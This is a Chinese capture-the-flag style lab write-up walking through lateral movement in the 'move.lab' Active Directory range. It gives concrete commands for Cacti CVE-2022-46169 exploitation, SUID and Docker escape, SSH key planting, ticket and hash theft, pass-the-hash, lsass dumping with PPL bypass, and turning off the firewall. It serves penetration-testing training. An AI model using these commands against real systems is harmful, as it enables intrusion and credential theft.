长亭百川云 - 文章详情

域渗透-How2MoveLaterally

7bits安全团队

63

2024-07-13

团队靶场-How2MoveLaterally Write Up

介绍

本环境是 xbitsplatform 靶场平台的基础环境之一,主要考察横向移动的知识点。从 linux 外围打点开始,经历几次横向移动后最后获得域管权限。

目前环境作为公开挑战已上线 xbitsplatform 靶场平台。

知识点

  • • CVE-2022-46169

  • • suid 提权

  • • docker 特权模式逃逸

  • • 域内 linux 信息搜集

  • • linux 横向移动

  • • 域内低权限定位个人机

  • • 本地账户横向移动

  • • 域内横向移动

  • • wmi 端口受限绕过

  • • 内存保护 PPL 绕过

打点

扫描发现 cacti,版本为 1.2.22,疑似存在 CVE-2022-46169

成功利用并写入一个 webshell

没有开启 disable_function,gpc 等,直接执行命令就好:

发现存在 dockerenv 文件,应该是 docker。经过一番信息搜集发现没有可以拓展的地方。

docker 逃逸

查看/dev 目录发现有很多文件:

说明该 docker 是特权模式启动,存在逃逸的可能。

直接尝试挂载物理机磁盘,先查看以下磁盘:

显示权限不足,想办法先提权。

查找 suid 文件:

find / -user root -perm -4000 -exec ls -ldb {} \

有比较特殊的文件 find:

看一下怎么利用:

https://gtfobins.github.io/gtfobins/find/

执行:

find . -exec /bin/sh -p -c whoami \; -quit  

成功提权:

通过 root 权限查看挂在磁盘:

find . -exec /bin/sh -p -c "mkdir /mnt/pwn" \; -quit  
find . -exec /bin/sh -p -c mount /dev/dm-0 /mnt/pwn\; -quit

会报错:

这里的 root 权限是有限制的。但是我们在/mnt 目录下发现一个已经挂载目录,并且可以读取:

find . -exec /bin/sh -p -c 'ls /mnt/cacti' \; -quit

看起来就是物理机的磁盘,那么问题就转换成可以读写文件获取该 linux 权限了。

这里采用写公钥的办法,首先生成一对公私钥:

编码后写入 ssh 配置文件:

find . -exec /bin/sh -p -c 'echo c3NoLXJzYSBBQUFBQjNOemFDMXljMkVBQUFBQkpRQUFBUUVBcDJTMHB4K012Y2F4UlZsZ0c1Yk5jb2M0RW1QZHd3dEhWT2h4UW5SMWYxVDUwUFArU0wzV1JDSG5HeXVnVkwweVJNak9pVHJLVVBmOGZkT2tqVDh5T1k1dndXSmVLM1ZKOXd4Zkx6UHZycmM5SkJTWVhwY1Z1eS9oMU5id2N6bGt5d2xNVjAxVytzUG4vNGxCZnlHOGtBcWUzMnVVdEp4UU9yVndlOW1Xak1IRzN3eHVOUk4rR3REK3EvRGJSZ0lMUjlTSWtWOG9hMzdONENaZVRXdkJ3RS9RWGZ3UFh5RlJVTVlKNkUxcXFHUVpadmhSMlhlWGpRTWdtODlEZVZFbVFOcnVVYzA4MWpkRnN3Mm9lUG1qbCtZaTkrZmdnSWdFSnlqUTdxc21RczFqUlNZclNkWnZnaEVILzB2Zm5VMGdYRUN5M0hTZm5Jd2RTcmFkeDNWcXZ3PT0gcnNhLWtleS0yMDIzMDQyNg== | base64 -d > /mnt/cacti/root/.ssh/authorized_keys' \; -quit

选择公钥后登录:

登录成功:

linux 域信息搜集

查看 dns,显然存在域,域控为 10.0.2.100:

ping 一下,ttl 为 128,是 windows 域:

查看具体的 ldap 配置,域为 move.lab:

搜索 openldap 及 web 等目录寻找和域相关的信息:

grep -rn move.lab /etc  
grep -rn move.lab /var/www/html  

几个文件看下来没有域凭据。但我们可以获得几个一些有效信息:

域名为 move.lab,域控机器 ip 为 10.0.0.100,存在域账户 linux_ldap 并可以登录当前的 linux。

如果我们可以拿到 linux_ldap 这个用户的身份可以先将域的 ldap 信息导出,在/tmp 目录下发现了 linux_ldap 用户缓存的票据:

设置环境变量为这个票据:

[root@cacti tmp]# export KRB5CCNAME=/tmp/krb5cc_1680801105

使用 ldapsearch 导出信息

ldapsearch  -b "dc=move,dc=lab" -H ldap://10.0.2.100

显示认证失败:

看来这些工具并不支持票据认证,使用 impacet 工具尝试,这里直接使用打包好的 elf 程序:

[root@cacti tmp]# ./GetADUsers_linux_x86_64  move.lab/linux_ldap -k  -no-pass -all

显示 ticket 暂时过期了

通过一番查询发现可以通过一些其他的方式找到域凭据,比如从内存获取 linux_ldap 的票据,甚至可以获取到 linux 机器的机器 hash。尝试从从 krb5.keytab 获取机器 hash:

这样我们就可以用这个机器的身份来搜集 ldap 信息:

[root@cacti tmp]# ./GetADUsers_linux_x86_64  move.lab/cacti\$ -hashes 7eb5e976f35341c3a9aa667a7a701ec0:7eb5e976f35341c3a9aa667a7a701ec0  -all

可以成功查询:

但 impacket 对于 ldap 信息搜集的不全,只有枚举用户的功能。现在就转换成有一个机器和机器 hash(域凭据)的情况下如何获取 ldap 信息了。

本地 pth:

sekurlsa::pth /domain:move.lab /dc:dc.move.lab /user:cacti$ /ntlm:7eb5e976f35341c3a9aa667a7a701ec

使用 Adfind 导出 ldap 信息:

定位域用户机器

目前可以使用 linux_ldap 的身份做操作,查看 linux_ldap 用户信息:

dn:CN=linux_ldap,CN=Users,DC=move,DC=lab  
>objectClass: top  
>objectClass: person  
>objectClass: organizationalPerson  
>objectClass: user  
>cn: linux_ldap  
>distinguishedName: CN=linux_ldap,CN=Users,DC=move,DC=lab  
>instanceType: 4  
>whenCreated: 20230422140814.0Z  
>whenChanged: 20230426144030.0Z  
>uSNCreated: 12838  
>memberOf: CN=IT admins,CN=Users,DC=move,DC=lab  
>uSNChanged: 13727  
>name: linux_ldap  
>objectguid: {B1979F8F-42A9-4656-8F85-67827C2A8239}  
>userAccountControl: 66048  
>badPwdCount: 2  
>codePage: 0  
>countryCode: 0  
>badPasswordTime: 133269901580757155  
>lastLogoff: 0  
>lastLogon: 133268853178838661  
>pwdLastSet: 133266460945786222  
>primaryGroupID: 513  
>objectsid: S-1-5-21-1540577040-1432127714-718651653-1105  
>accountExpires: 0  
>logonCount: 3  
>sAMAccountName: linux_ldap  
>sAMAccountType: 805306368  
>objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=move,DC=lab  
>dSCorePropagationData: 16010101000000.0Z  
>lastLogonTimestamp: 133266470902405676  

linux_ldap 为 IT admins 组成员,IT admins 不属于任何特权组。出现这种情况一般是 IT admins 为一些机器的本地管理员组成员,方便管理员管理机器,但在 AD 上没有特权。

我们需要知道 linux_ldap 能登哪台机器,最暴力的方式是直接进行认证,如 rdp/wmi/smb 等。这样在很多有防护的环境是比较危险的,会直接提示权限不足。

我们可以使用一些列 windows API 远程枚举出机器本地组的成员,效果和在机器上执行"net localgroup administrators"类似。

比如:

https://github.com/SkewwG/domainTools/tree/master/NetLocalGroupGetMembers

好处是只需要能建立 smb 连接就可以使用,默认情况下普通域账户其实是可以登录任何一台域机器的,但不能通过 rdp 这样的方式远程登录。net use 这种可以认证通过,但进行 dir c:\这样的操作会报 access deny。

比如:

用这系列 api 可以避免触发 access deny,降低风险。

pth 后成功枚举出了一些机器的本地管理组:

发现 IT admins 是 server01(10.0.2.199)的本地管理员组成员,我们可以通过已有的 linux_ldap 控制这台机器。

横向移动

过了一段时间我们看到 linux_ldap 用户有登录行为,

票据应该有效了,直接使用 impacket 的工具 wmiexec 横向:

export KRB5CCNAME=/tmp/krb5cc_1680801105  
./wmiexec_linux_x86_64 move.lab/linux_ldap@10.0.2.199 -k  -no-pass -dc-ip 10.0.2.10

报错:

票据认证需要使用 FQDN 或者 NETbiosNAME:

export KRB5CCNAME=/tmp/krb5cc_1680801105  
./wmiexec_linux_x86_64 move.lab/linux_ldap@connect.move.lab -k  -no-pass -dc-ip 10.0.2.100

成功:

抓内存发现没有域凭据,抓本地注册表,这里因为目标是 windows 系统,存在编码的问题,部分命令回显有问题,但可以正常执行:

使用 smbclient 获取文件:

./smbclient_linux_x86_64 move.lab/linux_ldap@connect.move.lab -k  -no-pass -dc-ip 10.0.2.100

使用 mimikatz 解出注册表中的 hash:

wmi 横向移动

现在有本地 administrator 账户的 hash,实战中可能有很多情况本地 administrator 账户的密码是一样的,比如虚拟机克隆、统一装机、组策略等情况。计划使用本地 administrator 进行横向移动。

查看 ldap 信息发现还有一台 windows server02:

尝试横向移动:

./wmiexec_linux_x86_64 Administrator@server02.move.lab -hashes  83cb8d375287916f79bbf0d29accc893:83cb8d375287916f79bbf0d29accc893 -no-pass -dc-ip 10.0.2.100

发现不成功,一直卡在界面,疑似端口不通。查看端口开放情况:

发现只开通了 135,我们知道一般的 wmi 横向移动需要结合 135 端口的 dcom 和 445 端口的 smb 服务,wmiexec 的源码也验证了这一点:

现在面临的问题就是在仅开放 135 端口的情况下如何进行横向移动。这里使用https://github.com/QAX-A-Team/sharpwmi

该工具主要是通过 rpc 协议操作注册表,将命令执行的结果写入注册表,之后读取注册表来代替使用 smb 的形式拿到回显:

ExecCmd 实现远程调用 wmi:

该工具支持 pth,需要和 mimikatz 结合使用,首先本机进行 pth:

privilege::debug  
sekurlsa::pth /user:administrator /domain:server02 /ntlm:83cb8d375287916f79bbf0d29accc893

成功执行:

抓取内存

查看 lsass 的 pid

使用 Minudump 函数抓取内存:

powershell rundll32 C:\windows\system32\comsvcs.dll, MiniDump 580 C:\windows\temp\lsass.dmp full

其中","符号影响了命令执行:

可以通过执行 bat 的形式绕过。使用 sharpwmi 自带的上传功能上传一个 bat:

sharpwmi.exe pth 10.0.2.105 upload 1.bat c:\windows\temp\1.bat

不报错但也没有文件生成:

换一种 dump 方式,上传 LOLBins-procdump64.exe,上传时发现了 sharpwmi 上传有个 bug:

传进去的是上一次上传的结果。可以对工具进行修改,这里笔者怕麻烦,使用远程下载的方式下载到机器上:

执行依旧存在问题,看起来无法开启 lsass 进程,这种情况有几种可能,一是当前用户可能没有 SeDebugPrivilege 权限,另外一种可能是被杀软拦截了,其次就是可能开启了 PPL 保护机制。

首先确认存在 SeDebugPrivilege 权限:

其次检查进程及驱动,未发现防护软件。

查询注册表,果然开启了 PPL:

绕过 ppl

这里直接尝试之前的文章《域渗透-一文了解lsass内存转储攻防技术》中的用户态技术,使用https://github.com/last-byte/RIPPL工具:

sharpwmi.exe pth 10.0.2.105 cmd "c:\windows\temp\RIPPL.exe -D -f lsass.exe c:\windows\temp\lsass.dmp"

成功导出:

怎么拿 lsass 到本地是个问题,这里直接关闭该机器的防火墙,通过 smb 获取:

sharpwmi.exe pth 10.0.2.105 cmd "netsh advfirewall set domainprofile state off"  
copy /z \\10.0.2.105\c$\windows\temp\lsass.dmp  

通过 mimikatz 解析 dump 文件:

获得 hash:

Administrator b9f21293575140357afceead26c3397

pth 后读取 flag:

总结

本环境主要模拟了在实战环境的渗透测试流程,通过web打点进入主机,检测为Docker环境,之后逃逸发现在Linux中其中存在域环境,之后进行横向移动及一系列攻击手法,最后拿到flag。

参考

https://xz.aliyun.com/t/6888
https://github.com/Mr-Un1k0d3r/SCShell
https://github.com/QAX-A-Team/sharpwmi
https://tttang.com/archive/1624/

https://www.alibabacloud.com/help/zh/nas/latest/mount-and-use-an-smb-file-system-on-a-linux-client-as-an-ad-domain-user
https://techglimpse.com/centos-yum-package-python-pip-error/
https://stackoverflow.com/questions/72270592/syntaxerror-when-pip-install-pip-def-readrel-path-str
https://github.com/carlospolop/hacktricks/blob/master/linux-hardening/privilege-escalation/linux-active-directory.md

环境获取

本挑战为xbitsplatform公开环境,师傅可以直接通过 www.xbitsplatform.com 访问平台。同时环境中使用的工具,和该靶场相关笔记也会上传到知识星球。

知识星球

团队其他文章

域渗透-How2UseLdap
域渗透-How2PwnACLs
Java安全-记一次实战使用memoryshell

了解更多关于xbitsplatform的信息:

xBitsPlatform公测版正式上线啦
xBitsPlatform使用说明

加入内部讨论群

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2